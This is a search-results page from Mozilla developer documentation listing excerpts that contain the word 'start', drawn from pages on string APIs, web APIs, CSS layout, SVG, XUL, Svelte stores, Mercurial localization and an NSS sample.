start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
nsXPIDLCString
e parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount rfindchar print32 rfindchar(prunichar, print32, print32) const - source parameters prunichar a...
...And 8 more matches
nsXPIDLString
parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(const nscstring&, prbool, print32, print32) const - source search for the given substring within this string. @param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to
start searching @param acount tells us how far from the offset we are to search. use -1 to search the whole string. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount print32 find(co...
...@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset prin...
..., prbool, print32, print32) const - source this methods scans the string backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to
start searching. use -1 to search from the end of the string. @param acount tells us how many iterations to make
starting at the given offset. @return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 rfind(const char*, prbool, print32, print32) const - source parameters char* acstring prbool aignorecase print32 aoffset print32 acount print32 rfind(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& ast...
...And 8 more matches
HTML Drag and Drop API - Web APIs
item enters a valid drop target. (see specifying drop targets.) dragexit ondragexit …an element is no longer the drag operation's immediate selection target. dragleave ondragleave …a dragged item leaves a valid drop target. dragover ondragover …a dragged item is being dragged over a valid drop target, every few hundred milliseconds. drag
start ondrag
start …the user
starts dragging an item. (see
starting a drag operation.) drop ondrop …an item is dropped on a valid drop target. (see performing a drop.) note: neither drag
start nor dragend events are fired when dragging a file into the browser from the os. interfaces the html drag and drop interfaces are dragevent, datatransfer, datatransferitem and datat...
...re information, see dragging and dropping multiple items. additionally, see the datatransfer reference page for all of the gecko-specific properties and gecko-specific methods. the basics this section is a summary of the basic steps to add drag-and-drop functionality to an application. ...
... reference page for all of the gecko-specific properties and gecko-specific methods. the basics this section is a summary of the basic steps to add drag-and-drop functionality to an application. ...
...And 8 more matches
Multi-touch interaction - Web APIs
nts, such as mouse events. the application described in this guide shows how to use touch events for simple single and multi-touch interactions, the basics needed to build application-specific gestures. a live version of this application is available on github. the source code is available on github and pull requests and bug reports are welcome. example this example demonstrates using the touch
start, touchmove, touchcancel, and touchend) touch events for the following gestures: single touch, two (simultaneous) touches, more than two simultaneous touches, 1-finger swipe, and 2-finger move/pinch/swipe. define touch targets the application uses <div> elements to represent four touch areas. <style> div { margin: 0em; padding: 2em; } #target1 { background: white; border: ...
...nt where they were fired. // log events flag var logevents = false; // touch point cache var tpcache = new array(); register event handlers event handlers are registered for all four touch event types. the touchend and touchcancel event types use the same handler. ...
... they were fired. // log events flag var logevents = false; // touch point cache var tpcache = new array(); register event handlers event handlers are registered for all four touch event types. the touchend and touchcancel event types use the same handler. function set_handlers(name) { // install event handlers for the given element var el=document.getelementbyid(name); el.ontouch
start =
start_handler; el.ontouchmove = move_handler; // use same handler for touchcancel and touchend el.ontouchcancel = end_handler; el.ontouchend = end_handler; } function init() { set_handlers("target1"); set_handlers("target2"); set_handlers("target3"); set_handlers("target4"); } move/pinch/zoom handler this function provides very basic support for 2-touch horizontal move/pinch/zoom handling. ...
...And 8 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
the webglrenderingcontext method makexrcompatible() ensures that the rendering context described by the webglrenderingcontext is ready to render the scene for the immersive webxr device on which it will be displayed. if necessary, the webgl layer may reconfigure the context to be ready to render to a different device than it originally was. this is useful if you have an application which can
start out being presented on a standard 2d display but can then be transitioned to a 3d immersion system. syntax let makecompatpromise = webglrenderingcontext.makexrcompatible(); parameters none. return value a promise which successfully resolves once the webgl context is ready to be used for rendering webxr content. exceptions this method doesn't throw traditional exceptions; instead, the promise...
...you the opportunity to discard anything you won't need anymore, while the second gives you the opportunity to load resources and prepare to render the scene in its new context. while this method is available through the webglrenderingcontext interface, it's actually defined by the webxr device api rather than by webgl. ...
...the scene in its new context. while this method is available through the webglrenderingcontext interface, it's actually defined by the webxr device api rather than by webgl. examples this example demonstrates code logic you might find in a game that
starts up using webgl to display menus and other ui, and uses webgl to render gameplay, but has a button on its main menu that offers an option to
start the game in webxr mode. html the html for the buttons looks lke this: <button class="green button" type="button">
start game</button> <button class="blue button use-webxr" type="button">
start game (vr mode)</button> the first button
starts the game, continuing to present the game onscreen as usual. the second button will be used to
start the game in immersive-vr mode. note the inclusion of a ...
...And 8 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
fview"); const remotevideo = document.queryselector("video.remoteview"); const signaler = new signalingchannel(); const pc = new rtcpeerconnection(config); this code also gets the <video> elements using the classes "selfview" and "remoteview"; these will contain, respectively, the local user's self-view and the view of the incoming stream from the remote peer. ...
...ements using the classes "selfview" and "remoteview"; these will contain, respectively, the local user's self-view and the view of the incoming stream from the remote peer. connecting to a remote peer the
start() function shown here can be called by either of the two end-points that want to talk to one another. it doesn't matter who does it first; the negotiation will just work. async function
start() { try { const stream = await navigator.mediadevices.getusermedia(constraints); for (const track of stream.gettracks()) { pc.addtrack(track, stream); } selfvideo.srcobject = stream; } catch(err) { console.error(err); } } this isn't appreciably different from older webrtc connection establishment code. the user's camera and microphone are obtained by calling get...
...the audio track being received. the latter is an array of mediastream objects, each representing a stream containing this track (a track may in rare cases belong to multiple streams at once). in our case, this will always contain one stream, at index 0, because we passed one stream into addtrack() earlier. we add an unmute event handler to the track, because the track will become unmuted once it
starts receiving packets. we put the remainder of our reception code in there. if we already have video coming in from the remote peer (which we can see if the remote view's <video> element's srcobject property already has a value), we do nothing. otherwise, we set srcobject to the stream at index 0 in the streams array. the perfect negotiation logic now we get into the true perfect negotiation logi...
...And 8 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
ation the following example simulates typewriter by first clearing and then slowly typing content into the nodelist that matches a specified group of selectors. ...
...); } function sheet (onode) { this.ref = onode; if (!onode.haschildnodes()) { return; } this.parts = array.prototype.slice.call(onode.childnodes); for (var nchild = 0; nchild < this.parts.length; nchild++) { onode.removechild(this.parts[nchild]); this.parts[nchild] = new sheet(this.parts[nchild]); } } var nintervid, ocurrent = null, btyping = false, b
start = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (b
start) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* uncomment the f...
...rn; } if (b
start) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* uncomment the following line if you have previously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } b
start = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart; spart = ""; for (nidx; nidx < asheets.length; scroll(asheets[nidx++], 0, false)); clean(); }; } /* usage: */ var otwexample1 = new typewrit...
...And 8 more matches
Using CSS animations - CSS: Cascading Style Sheets
there are three key advantages to css animations over traditional script-driven animation techniques: they’re easy to use for simple animations; you can create them without even having to know javascript. the animations run well, even under moderate system load. ...
...elay configures the delay between the time the element is loaded and the beginning of the animation sequence. animation-iteration-count configures the number of times the animation should repeat; you can specify infinite to repeat the animation indefinitely. animation-direction configures whether or not the animation should alternate direction on each run through the sequence or reset to the
start point and repeat itself. animation-fill-mode configures what values are applied by the animation before and after it is executing. animation-play-state lets you pause and resume the animation sequence. defining the animation sequence using keyframes once you’ve configured the animation’s timing, you need to define the appearance of the animation. this is done by establishing two or mor...
...at configures the animation, keyframes use a <percentage> to indicate the time during the animation sequence at which they take place. 0% indicates the first moment of the animation sequence, while 100% indicates the final state of the animation. because these two times are so important, they have special aliases: from and to. both are optional. if from/0% or to/100% is not specified, the browser
starts or finishes the animation using the computed values of all attributes. you can optionally include additional keyframes that describe intermediate steps between the
start and end of the animation. examples note: some older browsers (pre-2017) may need prefixes; the live examples you can click to see in your browser include the -webkit prefixed syntax. making text slide across the browser wind...
...And 8 more matches
Color picker tool - CSS: Cascading Style Sheets
entlistener('click', function(e) { this.select(); }); input.addeventlistener('change', function(e) { var value = parsefloat(e.target.value); if (isnan(value) === true) setvalue(obj.topic, obj.value); else setvalue(obj.topic, value); }); return input; }; var slidercomponent = function slidercomponent(obj, sign) { var slider = document.createelement('div'); var
startx = null; var
start_value = 0; slider.addeventlistener("click", function(e) { document.removeeventlistener("mousemove", slidermotion); setvalue(obj.topic, obj.value + obj.step * sign); }); slider.addeventlistener("mousedown", function(e) {
startx = e.clientx;
start_value = obj.value; document.body.style.cursor = "e-resize"; document.addeventlistener("mouseup", slideend...
...t.addeventlistener("mouseup", slideend); document.addeventlistener("mousemove", slidermotion); }); var slideend = function slideend(e) { document.removeeventlistener("mousemove", slidermotion); document.body.style.cursor = "auto"; slider.style.cursor = "pointer"; }; var slidermotion = function slidermotion(e) { slider.style.cursor = "e-resize"; var delta = (e.clientx -
startx) / obj.sensivity | 0; var value = delta * obj.step +
start_value; setvalue(obj.topic, value); }; return slider; }; var inputslider = function(node) { var min = parsefloat(node.getattribute('data-min')); var max = parsefloat(node.getattribute('data-max')); var step = parsefloat(node.getattribute('data-step')); var value = parsefloat(node.getattribute('data-value')); var ...
...=== get dom element by id ==========*/ function getelembyid(id) { return document.getelementbyid(id); } function allowdropevent(e) { e.preventdefault(); } /*========== make an element resizable relative to it's parent ==========*/ var uicomponent = (function uicomponent() { function makeresizable(elem, axis) { var valuex = 0; var valuey = 0; var action = 0; var resize
start = function resize
start(e) { e.stoppropagation(); e.preventdefault(); if (e.button !== 0) return; valuex = e.clientx - elem.clientwidth; valuey = e.clienty - elem.clientheight; document.body.setattribute('data-resize', axis); document.addeventlistener('mousemove', mousemove); document.addeventlistener('mouseup', resizeend); }; var mousemove = function ...
...And 8 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
n from the top of the page to the bottom — in the block direction. the cross axis the cross axis runs perpendicular to the main axis, therefore if your flex-direction (main axis) is set to row or row-reverse the cross axis runs down the columns. if your main axis is column or column-reverse then the cross axis runs along the rows. understanding which axis is which is important when we
start to look at aligning and justifying flex items; flexbox features properties that align and justify content along one axis or the other.
start and end lines another vital area of understanding is how flexbox makes no assumption about the writing mode of the document. in the past, css was heavily weighted towards horizontal and left-to-right writing modes. modern layout methods encompass the range...
...rties that align and justify content along one axis or the other.
start and end lines another vital area of understanding is how flexbox makes no assumption about the writing mode of the document. in the past, css was heavily weighted towards horizontal and left-to-right writing modes. modern layout methods encompass the range of writing modes and so we no longer assume that a line of text will
start at the top left of a document and run towards the right hand side, with new lines appearing one under the other. you can read more about the relationship between flexbox and the writing modes specification in a later article; however, the following description should help explain why we do not talk about left and right and top and bottom when we describe the direction that our flex items flow in...
...th new lines appearing one under the other. you can read more about the relationship between flexbox and the writing modes specification in a later article; however, the following description should help explain why we do not talk about left and right and top and bottom when we describe the direction that our flex items flow in. ...
...And 8 more matches
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
side, plus all the shorthand values. mappings for margins, borders, and padding the specification details mappings for each logical value to a physical counterpart. in the table below i have given these mapped values assuming that the writing-mode in use is horizontal-tb — with a left to right direction. the inline direction therefore runs horizontally — left to right — and margin-inline-
start would be equivalent to margin-left. if you were using a horizontal-tb writing mode with a right-to-left text direction then margin-inline-
start would be the same as margin-right, and in a vertical writing mode it would be the same as using margin-top. logical property physical property border-block-end border-bottom border-block-end-color border-bottom-co...
...ine-
start would be the same as margin-right, and in a vertical writing mode it would be the same as using margin-top. ...
...t, and in a vertical writing mode it would be the same as using margin-top. ...
...And 8 more matches
grid-area - CSS: Cascading Style Sheets
ontributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the edges of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...atic) to its grid placement, thereby specifying the edges of its grid area. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ontribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. if four <grid-line> values are specified, grid-row-
start is set to the first value, grid-column-
start is set to the second value, grid-row-end is set to the third value, and grid-column-end is set to the fourth value. when grid-column-end is omitted, if grid-column-
start is a <custom-ident>, grid-column-end is set to that <custom-ident>; otherwise, it is set to auto. when grid-row-end is omitted, if grid-row-
start is a <custom-ident>, grid-row-end is set to that <custom-ident>; otherwise, it is set to auto. when grid-column-
start is omitted, if grid-row-
start is a <custom-ident>, all four longhands are set to that value. otherwise, it is set to auto. the grid-...
...And 8 more matches
place-self - CSS: Cascading Style Sheets
this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...o contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ase clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 8 more matches
repeat() - CSS: Cascading Style Sheets
the repeat() css function represents a repeated fragment of the track list, allowing a large number of columns or rows that exhibit a recurring pattern to be written in a more compact form. this function can be used in the css grid properties grid-template-columns and grid-template-rows. ...
... the repeat() css function represents a repeated fragment of the track list, allowing a large number of columns or rows that exhibit a recurring pattern to be written in a more compact form. this function can be used in the css grid properties grid-template-columns and grid-template-rows. ...
... represents a repeated fragment of the track list, allowing a large number of columns or rows that exhibit a recurring pattern to be written in a more compact form. this function can be used in the css grid properties grid-template-columns and grid-template-rows. ...
...And 8 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
while autoplay of media serves a useful purpose, it should be used carefully and only when needed. in order to give users control over this, browsers often provide various forms of autoplay blocking. in this guide, we'll cover autoplay functionality in the various media and web audio apis, including a brief overview of how to use autoplay and how to work with browsers to handle autoplay blocking gracefully. autoplay blocking is not applied to <video> elements when the source media does not have an audio track, or if the audio track is muted. ...
...are considered to be audible, and autoplay blocking applies to them. inaudible media are not affected by autoplay blocking. autoplay and autoplay blocking the term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. this includes both the use of html attributes to autoplay media as well as the user of javascript code to
start playback outside the context of handling user input. that means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioelement.play(); the following web features and apis may be affected by autoplay blocking: the html <audio> and <video> elements the web audio api from ...
...because of that, browsers generally only allow autoplay to occur successfully under specific circumstances. autoplay availability as a general rule, you can assume that media will be allowed to autoplay only if at least one of the following is true: the audio is muted or its volume is set to 0 the user has interacte...
...And 8 more matches
Paths - SVG: Scalable Vector Graphics
needs. line commands there are five line commands for <path> nodes. the first command is the "move to" or m, which was described above. it takes two parameters, a coordinate (x) and coordinate (y) to move to. if the cursor was already somewhere on the page, no line is drawn to connect the two positions. the "move to" command appears at the beginning of paths to specify where the drawing should
start. for example: m x y (or) m dx dy in the following example there's only a point at (10,10). note, though, that it wouldn't show up if a path was just drawn normally. for example: <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <path d="m10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> </svg> there are three commands that draw lines. the most gen...
...l. l takes two parameters—x and y coordinates—and draws a line from the current position to a new position. l x y (or) l dx dy there are two abbreviated forms for drawing horizontal and vertical lines. h draws a horizontal line, and v draws a vertical line. both commands only take one parameter since they only move in one direction. h x (or) h dx v y (or) v dy an easy place to
start is by drawing a shape. we will
start with a rectangle (the same type that could be more easily made with a <rect> element). it's composed of horizontal and vertical lines only. <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 10 h 90 v 90 h 10 l 10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> <circle cx="90" cy="90" r="2" fill="red"/...
...g the cursor to an exact coordinate, they move it relative to its last position. for instance, since our box is 80×80, the <path> element could have been written as: <path d="m 10 10 h 80 v 80 h -80 z" fill="transparent" stroke="black"/> the path will move to point (10,10) and then move horizontally 80 points to the right, then 80 points down, then 80 points to the left, and then back to the
start. in these examples, it would probably be simpler to use the <polygon> or <polyline> elements. however, paths are used so often in drawing svg that developers may be more comfortable using them instead. there is no real performance penalty or bonus for using one or the other. curve commands there are three different commands that can be used to create smooth curves. two of those curves are béz...
...And 8 more matches
Miscellaneous - Archive of obsolete content
r firefox version 2.0.0.1 retrieving the version of an extension as specified in the extension's install.rdf components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("extension-guid@example.org", function(addon) { // this is an asynchronous callback function that might not be called immediately alert("my extension's version is " + addon.version); }); re
starting firefox/thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to re
start the application. example for firefox: services.
startup.quit(services.
startup.eforcequi...
.../thunderbird/seamonkey_2.0 for firefox 3 see onwizardfinish around here: http://mxr.mozilla.org/seamonkey/sou...pdates.js#1639 for firefox 2 see around here: http://mxr.mozilla.org/mozilla1.8/so...pdates.js#1631 bug 338039 tracks improving this situation by providing a simple method to re
start the application. example for firefox: services.
startup.quit(services.
startup.eforcequit|services.
startup.ere
start); mouse and keyboard detecting mouse wheel events when scrolling the mouse wheel on an element, the dommousescroll event fires. event.detail contains the number of lines to scroll. this event is mozilla-only; other browsers may support window.onmousewheel. <div id="scrollarea" style="overflow: scroll; height: 6em; width: 10em;"> this is the scrolling area. this is the scrollin...
...m(i). ...
...And 7 more matches
Index - Archive of obsolete content
es to a file. to create an output stream, use nsiscriptableio.newoutputstream(). this method has a number of options to specify text or binary writing, the character set, and whether to append to an existing file or create a new one. 434 how to quit a xul application xul, xulrunner script can attempt to quit a xul application, or force the application to quit, using the nsiapp
startup interface. 435 how to implement a custom xul query processor component xul supports templating to create a block of content from a datasource query. the xul template guide has lots of detailed information on using xul templates. xul provides template query processors for rdf, xml and sql (mozstorage). the templating system also supports building custom query processors. c...
... xul methods, xul reference no summary! 580 showonlythesetabs method, reference, référence(2), xul no summary! 581 showpane xul methods, xul reference no summary! 582 showpopup needshelp, needsrewrite, xul methods, xul reference no summary! 583 sizeto xul methods, xul reference no summary! 584
startediting xul methods, xul reference no summary! 585
startfind no summary! 586 stop xul methods, xul reference no summary! 587 stopediting xul methods, xul reference no summary! 588 swapdocshells xul methods, xul reference no summary! 589 syncsessions needshelp, xul methods, xul reference ...
...enu keyboard listener does in response: 610 positioning xul, xul popup guide there are several ways in which the location of a popup on screen may be controlled. 611 special per-platform menu considerations beginner, guide, xul, xul popup guide for many menu commands, convention dictates where these items will be placed. for instance, the edit menu always
starts with the undo command if such a feature is available in the application, followed by redo, cut, copy, paste, and so forth. 612 tooltips xul, xul popup guide a tooltip is used to provide descriptive help to the user about the control that the mouse is over. for instance, moving the mouse over top of a toolbar button and waiting for a second can display a small popup label con...
...And 7 more matches
SAX - Archive of obsolete content
sax, short forsimple api for xml, is a parsing api. sax was the first widely adopted api for xml in java, and later implemented in several other programming language environments.
starting with firefox 2, a sax parser is available to xul applications and extensions. for more information, please see sax homepage. quick
start the sax parser functionality is available through the xml reader component. to create one, use the following code: var xmlreader = components.classes["@mozilla.org/saxparser/xmlreader;1"] .createinstance(components.interfaces.nsisaxxmlreader); after you created the sax parser, you need to set the handlers for the events you're interested in and fire off the parsing process. all functionality is available through the nsisaxxmlreader inte...
...r); after you created the sax parser, you need to set the handlers for the events you're interested in and fire off the parsing process. all functionality is available through the nsisaxxmlreader interface. set the handlers handlers are user-defined objects implementing sax handler interfaces, depending on what kind of information they need to get from the parser. after the parsing process is
started, handlers receive a series of callbacks for the content of xml being parsed. the following handlers are available: interface purpose nsisaxcontenthandler receive notification of the logical content of a document (e.g. elements, attributes, whitespace, and processing instructions). nsisaxdtdhandler receive notification of basic dtd-related events. ns...
...s. nsisaxerrorhandler receive notification of errors in the input stream. nsisaxlexicalhandler sax2 extension handler for lexical events (e.g. comment and cdata nodes, dtd declarations, and entities). ...
...And 7 more matches
Useful string methods - Learn web development
prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to understand that strings are objects, and learn how to use some of the basic methods available on those objects to manipulate strings. ...
... strings as objects most things are objects in javascript. when you create a string, for example by using let string = 'this is my string'; your variable becomes a string object instance, and as a result has a large number of properties and methods available to it. you can see this if you go to the string object page and look down the list on the side of the page! now, before your brain
starts melting, don't worry! you really don't need to know about most of these early on in your learning journey. but there are a few that you'll potentially use quite often that we'll look at here. let's enter some examples into the browser developer console. finding the length of a string this is easy — you simply use the length property. try entering the following lines: let browsertype = 'mo...
...pe[0]; remember: computers count from 0, not 1! you could use this to, for example, find the first letter of a series of strings and order them alphabetically. to retrieve the last character of any string, we could use the following line, combining this technique with the length property we looked at above: browsertype[browsertype.length-1]; the length of "mozilla" is 7, but because the count
starts at 0, the character position is 6; using length-1 gets us the last character. finding a substring inside a string and extracting it sometimes you'll want to find if a smaller string is present inside a larger one (we generally say if a substring is present inside a string). this can be done using the indexof() method, which takes a single parameter — the substring you want to search for. i...
...And 7 more matches
Introduction to client-side frameworks - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages. ...
...n web – including many of the websites you likely use every day. mdn web docs, which you are currently reading this on, uses the react/reactdom framework to power its front end. what frameworks are out there? there are many frameworks out there, but currently the "big four" are considered to be the following. ...
...it is a complete rewrite from the same team that built angularjs. ...
...And 7 more matches
Working with Svelte stores - Learn web development
dos to persist over page reloads. code along with us git clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/06-stores or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/06-stores remember to run npm install && npm run dev to
start your app in development mode. repl to code along with us using the repl,
start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can communicate with each other using props, two-way data binding, and events. in all these cases we were dealing with communication between parent and child components. bu...
...ent to show how to work with stores, we will create an alert component. these kind of widgets might also be known as popup notifications, toast, or notification bubbles. our alert component will displayed by the app component, but any component can send notifications to it; whenever a notification arrives the alert component will be in charge of displaying it on screen. creating a store let's
start by creating a writable store. any component will be able to write to this store, and the alert component will subscribe to it and display a message whenever the store is modified. create a new file — stores.js — inside your src directory. give it the following content: import { writable } from 'svelte/store' export const alert = writable('welcome to the to-do list app!') ...
...onst i = todos.findindex(t => t.id === todo.id) if (todos[i].name !== todo.name) $alert = `todo '${todos[i].name}' has been renamed to '${todo.name}'` if (todos[i].completed !== todo.completed) $alert = `todo '${todos[i].name}' marked as ${todo.completed ? ...
...And 7 more matches
DeferredTask.jsm
es gecko 18.0(firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) if you have a function call you want to defer for two seconds, you can do so using the deferredtask constructor, like this: var task = new deferredtask(myfunction, 2000); you can also pass a generator function as the first argument of constructor. method overview bool ispending();obsolete since gecko 28 void
start();obsolete since gecko 28 void flush();obsolete since gecko 28 void cancel();obsolete since gecko 28 void arm(); void disarm(); promise finalize(); attributes isarmed boolean indicates whether the task is currently requested to
start again later, regardless of whether it is currently running. isrunning boolean indi...
...ing boolean indicates whether the task is currently running. this is always true when read from code inside the task function, but can also be true when read from external code, in case the task is an asynchronous generator function. methods ispending obsolete since gecko 28 check the current task state. bool ispending(); return value returns true if pending, false otherwise.
start obsolete since gecko 28
start (or postpone) task. void
start(); flush obsolete since gecko 28 perform any postponed task immediately. void flush(); cancel obsolete since gecko 28 cancel any pending task. void cancel(); arm request the execution of the task after the delay specified on construction. multiple calls don't introduce further delays. if the task is running, the delay ...
... the task will always be executed on a different tick of the event loop, even if the delay specified on construction is zero. multiple "arm" calls within the same tick of the event loop are guaranteed to result in a single execution of the task. ...
...And 7 more matches
Application Translation with Mercurial
ly need to download the latest changes in the future. thunderbird, lightning or seamonkey: download the comm-<branch>.hg file (e.g. comm-aurora.hg) from https://ftp.mozilla.org/pub/mozilla.org/thunderbird/bundles/ in the next step, we will unpack the source code: open an input shell, e.g. by pressing the windows key and r on the keyboard or by calling the "run..." command from the windows "
start" button, and then typing cmd and pressing the enter key. launch the installed mozillabuild toolset by launching it with its path, e.g. c:\mozilla\coding\buildtools\mozillabuild\
start-shell-msvc2010.bat you can autocomplete the file path after typing a few characters and then pressing the tabulator key. if you launch the
start-shell-l10n.bat, compiling features will be disabled. you can create ...
...ks for the application, binary repacks of the application (changing the localization of the program), and compiling the application likely won't work. you are now in the mozilla development environment which emulates a linux environment. now go to the directory where you want to put the source code. it's highly recommended to put it onto the fastest hard drive in the device. file paths here work
starting with a slash (/) followed by the drive letter, and then the directory structure like on windows, but using slashes (/) instead of backslashes (\). so let's go to c:\mozilla by typing cd /c/mozilla/ create a new directory for the source code: mkdir mozilla-aurora initialize the new directory as new repository: hg init mozilla-aurora go into the new directory: cd mozilla-aurora unpac...
...t = -v diff = -p -u 8 qdiff = -p -u 8 qnew = -u [diff] git = 1 showfunc = 1 unified = 8 [extensions] hgext.mq = progress = [hooks] put in your name and email address which later will be public on the internet after your translation patch got accepted and uploaded. save the file and close it. enabling mercurial queues (revertable patches) some time will pass between the moment in which you
start the localization, finish it, test it, improve it, upload it for review and get review (maybe not approved on first try). other localizers will likely have done changes to the translation, either adding new texts, removing obsolete ones or improving the current texts. this can cause conflicts between the changes you created and theirs. for this reason, updating patches kann be necessary so mercuri...
...And 7 more matches
Localizing without a specialized tool
with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a localizer to create a testable package to see his or her work as they progress to a final version. ...
...nary file that is ready for installation. repeating the process allows a localizer to create a testable package to see his or her work as they progress to a final version. if you choose to localize mozilla with nothing more than a text editing application and not a specialized tool, this document (along with create a new localization) will enable you to learn just what needs to be done. before we
start, did you make sure to install mercurial and confirm that you have set up the proper build environment on your local machine? you cannot begin localizing mozilla file by file without a specialized tool without going through the create a new localization page. what we will translate we will translate a small piece of the ui found in the search bar. the search bar is next to the right of the locati...
...rent directory (you should be in l10n-mozilla-1.9.2). $ hg clone http://bitbucket.org/mozillal10n/x-testing if there is an hg.mozilla.org repository with localization files, you can pull from it too: $ hg clone http://hg.mozilla.org/releases/l10n-mozilla-1.9.2/x-testing eventually, you should end up with a folder hierarchy described above in the folder structure section. you are now ready to
start translating! getting
started with compare-locales you are going to need to create the structure of your localization, where, one-by-one, each of the files needing localization will be copied. this directory structure needs to mimic the same as the en-us source files concerning localization. you will use a tool called compare-locales to do the comparison between your locale's files and the en-us ...
...And 7 more matches
NSS Sample Code Sample1
/ 1a through 1x show how to do this). // 1a. the primary host generates an rsa keypair that will be used // store keys locally. // 1b. the primary host wraps the newly generated key using the // rsa key and stores the wrapped key data in a local file. // 1c. the primary host unwraps the key using the rsa key each time // access to the key is required, such as at server
startup. // 2. the secondary host generates an rsa keypair that will be used // to transport keys between the primary host and itself. this // key needs to exist long enough to be used to process the // response to a key transport request that is made to the primary // server. the example here shows how to create a permanent (token) // rsa key for this purpose. (this key will also be use...
...om the primary host. the same methods outlined // in step 4 may be used here. // 7. the secondary host unwraps the the key using its own rsa private key. // note: currently nss does not support permanent symmetric keys. // the secondary host may store the wrapped value that was received // from the primary in a file, and unwrap it each time the key is required // (such as at server
